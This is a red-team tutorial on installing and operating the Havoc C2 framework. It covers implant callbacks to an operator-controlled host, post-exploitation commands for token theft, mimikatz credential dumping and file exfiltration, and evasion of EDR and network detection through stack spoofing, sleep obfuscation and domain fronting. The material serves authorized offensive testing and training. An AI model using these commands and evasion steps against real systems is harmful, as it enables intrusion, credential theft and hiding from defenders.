Havoc C2 Framework: Getting Started Guide

Havoc is an open-source command-and-control framework that’s quickly become the go-to alternative to Cobalt Strike for red teamers who can’t justify the $5,000/seat price tag. It’s actively developed, has solid evasion capabilities, and the implant — called Demon — supports most of what you need for a real engagement.

This guide walks you through everything: installation, listener setup, Demon payload generation, post-exploitation, and evasion basics.

What Is Havoc C2?

Havoc is a modern C2 framework built by HavocFramework . The architecture follows the standard red team playbook:

• Team Server — backend that handles all operator connections and implant callbacks
• Client — Qt-based GUI operators connect to
• Demon — the implant (agent) that runs on target machines
• Listeners — HTTP/HTTPS/SMB handlers for Demon callbacks

What sets Havoc apart from older frameworks:

It won’t replace Cobalt Strike for every engagement — CS still wins on maturity and ecosystem — but for most red team operations, Havoc gets the job done.

Lab Setup

You need a dedicated C2 server. Running this on your home machine is a bad idea — you want separation between your attacker infrastructure and your daily driver.

A VPS is the practical choice. Vultr and DigitalOcean both work well for C2 infrastructure — cheap, fast spin-up, and you can nuke it when the engagement is done.

Recommended setup:

• Ubuntu 22.04 LTS
• 2 vCPUs / 4GB RAM minimum
• Separate domain for your listener (don’t use the raw IP — it gets flagged)

Installation

Dependencies

sudo apt update && sudo apt install -y \
  build-essential \
  cmake \
  mingw-w64 \
  python3 \
  python3-pip \
  golang-go \
  git \
  nasm \
  libssl-dev \
  libz-dev \
  libffi-dev

Clone the Repo

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

Build the Team Server

cd teamserver
go mod download
go build -o havoc .

Build the Client

The client requires Qt. On Ubuntu:

sudo apt install -y \
  qt6-base-dev \
  libqt6websockets6-dev \
  qt6-websockets-dev

cd ../client
mkdir build && cd build
cmake ..
make -j$(nproc)

Note: Qt6 can be finicky across distros. If you hit dependency issues, Ubuntu 22.04 is the most consistent environment. Some operators run the client locally and connect remotely to the team server.

Team Server Configuration

The team server reads from a profile file. Create config.yaotl at the project root:

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "x86_64-w64-mingw32-gcc"
        Compiler86 = "i686-w64-mingw32-gcc"
        Nasm       = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "YourStrongPassword"
    }
}

Listeners {
    Http {
        Name         = "main-http"
        Hosts        = ["YOUR_C2_IP"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        Port         = 80
        Secure       = false
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }
}

Demon {
    Sleep  = 5
    Jitter = 30
}

Replace YOUR_C2_IP with your server’s IP or domain.

Start the Team Server

./teamserver/havoc server --profile config.yaotl

You should see:

[*] Starting Havoc Framework [Team Server]
[*] Listening on 0.0.0.0:40056

Connecting the Client

Launch the Havoc client:

./client/Havoc

In the login dialog:

• Host: Your team server IP
• Port: 40056 (or whatever you set)
• User: operator1
• Password: your password

Once connected, you land in the main operator interface. You’ll see your configured listeners, a session table (empty until you get a callback), and the event log.

Setting Up a Listener

If you didn’t define listeners in the profile, you can create them from the UI:

1. Go to View → Listeners
2. Click Add
3. Configure:
   • Protocol: HTTP or HTTPS
   • Host: Your C2 domain or IP
   • Port: 80 or 443
   • Bind: 0.0.0.0

For HTTPS listeners, you need a valid cert. On your C2 server:

# Using certbot with a domain you control
sudo certbot certonly --standalone -d c2.yourdomain.com

Point Havoc to the cert:

Listeners {
    Http {
        Name    = "main-https"
        Hosts   = ["c2.yourdomain.com"]
        Port    = 443
        Secure  = true
        Cert    = "/etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem"
        Key     = "/etc/letsencrypt/live/c2.yourdomain.com/privkey.pem"
    }
}

HTTPS listeners dramatically reduce detection rates compared to plain HTTP.

Generating Demon Payloads

This is where operators spend most of their time. In the client:

1. Go to Attack → Payload
2. Select Demon
3. Configure:

Shellcode Format

Shellcode gives you more flexibility for injection:

• Format: Windows Shellcode
• Inject into a legitimate process via your preferred loader

For a quick test, Windows EXE works fine on a lab machine. For actual engagements, you want shellcode + a custom loader.

Build Output

The payload will download to your client machine. Transfer it to your target for testing.

Post-Exploitation Commands

Once you have a Demon callback, right-click the session for the interaction console. Key commands:

Basic Recon

# System info
shell whoami /all
shell systeminfo

# Network
shell ipconfig /all
shell netstat -an

# Running processes
ps

Process Injection

# Inject into a PID
inject <PID> <shellcode_path>

# Spawn a sacrificial process and inject
shinject <PID> <shellcode_path>

Token Manipulation

# List tokens
token list

# Steal token from PID
token steal <PID>

# Make token (PTH)
token make <domain> <user> <NTLM>

# Revert to original token
token revert

Filesystem

# Download a file
download C:\Users\victim\Desktop\passwords.txt

# Upload a file
upload /local/path C:\target\path

# List directory
ls C:\Users\victim

# Change directory
cd C:\Windows\Temp

Credential Access

# Dump LSASS via MiniDump
hashdump

# Run mimikatz (built-in)
mimikatz "sekurlsa::logonpasswords"
mimikatz "lsadump::sam"

Pivoting

# SOCKS5 proxy
socks 5 1080

# Port forwarding
portfwd add <local_port> <remote_host> <remote_port>

Evasion Basics

Havoc has built-in evasion features — but you need to know what you’re enabling and why.

Sleep Obfuscation

When Demon is sleeping between callbacks, it can encrypt itself in memory. This defeats memory scanners that look for beacon signatures.

In your payload config:

• Sleep Technique: WaitForSingleObjectEx is the most compatible
• Ekko and Zilean are more aggressive but can cause stability issues on some targets

Enable in the payload builder or set in the profile:

Demon {
    Sleep           = 10
    Jitter          = 35
    SleepTechnique  = "WaitForSingleObjectEx"
    Obfuscate       = true
}

Indirect Syscalls

Havoc supports indirect syscalls to bypass EDRs that hook NTDLL. Enable in payload generation — it routes system calls through legitimate NTDLL stubs rather than direct syscalls, which are increasingly flagged.

Stack Spoofing

Stack spoofing makes Demon’s call stack look like it belongs to a legitimate Windows function. Enable in the payload config. Significantly improves evasion against Elastic and Defender.

HTTPS + Domain Fronting

Use a CDN (Cloudflare, AWS CloudFront) in front of your C2 server. Your traffic looks like it’s going to a legitimate CDN edge node, not your C2 IP. Requires proper DNS setup but dramatically reduces network-level detection.

OPSEC Considerations

A few things that will burn you if you skip them:

Process spawning — Demon spawns dllhost.exe by default for fork-and-run operations. That’s flagged by most EDRs. Change the spawn-to process:

Demon {
    SpawnTo = "C:\\Windows\\System32\\svchost.exe"
}

Process injection targets — Don’t inject into notepad.exe. Inject into legitimate long-running processes: svchost.exe, explorer.exe, RuntimeBroker.exe.

Sleep intervals — Don’t sleep for exactly 5 seconds every time. Jitter (20–40%) makes the callback pattern harder to detect with network analysis.

Payload staging vs stageless — Stageless payloads (the full Demon binary) are larger but don’t need network connectivity to pull down the rest of the implant. For engagements with egress restrictions, stageless is safer.

Havoc vs Sliver vs Cobalt Strike

We covered Sliver C2 in depth here . Quick comparison for Havoc specifically:

Havoc wins on the GUI experience — the Qt client is genuinely good. Sliver has a stronger multi-platform implant story. Cobalt Strike still wins on maturity and the ecosystem of third-party tooling, but the price keeps most teams away.

For most internal red teams and individual operators, Havoc or Sliver covers 80% of real-world needs.

Running Havoc in a Lab

For safe practice without a real target:

1. Spin up a Windows 10/11 VM (disable Defender for initial testing)
2. Generate a Demon payload from your Havoc server
3. Execute on the Windows VM
4. You’ll see a callback in the Havoc client

Work through each command category: shell commands, process injection, token manipulation, mimikatz. Get comfortable with the interface before any actual engagement.

A VPS as your C2 server keeps your home network clean and gives you a realistic setup. Vultr runs around $6/month for a basic instance — spin one up when you need it, destroy it when you don’t.

Common Issues

Team server won’t start:

• Check the port isn’t already in use: ss -tlnp | grep 40056
• Verify Go is installed: go version
• Check the profile syntax — YAOTL is strict about brackets

Client can’t connect:

• Confirm the team server is running and firewall allows port 40056
• Check the IP/hostname in the client matches the server
• TLS verification issues: try with -k flag during testing

Build fails (mingw-w64):

• Verify cross-compiler: x86_64-w64-mingw32-gcc --version
• On some distros: sudo apt install gcc-mingw-w64

Demon doesn’t callback:

• Check listener is active (green in the UI)
• Verify firewall allows inbound on your listener port
• Test connectivity from the target: curl http://YOUR_C2_IP

Next Steps

Once you’re comfortable with Havoc basics:

• BOF (Beacon Object Files) — Havoc supports Cobalt Strike BOFs. Massive library of ready-to-use offensive tools
• Custom loaders — Don’t use the raw EXE. Write a shellcode loader in C/C++ or Nim to avoid static detection
• Infrastructure — Set up redirectors between your C2 and targets. We cover this in Red Team C2 Infrastructure: Redirectors Setup (coming soon)
• Evasion depth — Study ETW patching, AMSI bypass, and API unhooking

Havoc’s GitHub wiki is solid for reference. The community Discord moves fast if you hit blockers.

Wrap Up

Havoc hits the right balance for most red teamers: free, actively maintained, real evasion capabilities, and a usable GUI. Setup takes a couple hours. Operational proficiency takes practice.

Get a VPS, stand up your team server, generate a Demon payload, and start working through the post-exploitation commands. The framework rewards operators who understand what’s happening under the hood — not just clicking through a GUI.

Need pentest reports written or security content for your team? CipherWrite handles technical writing for security teams.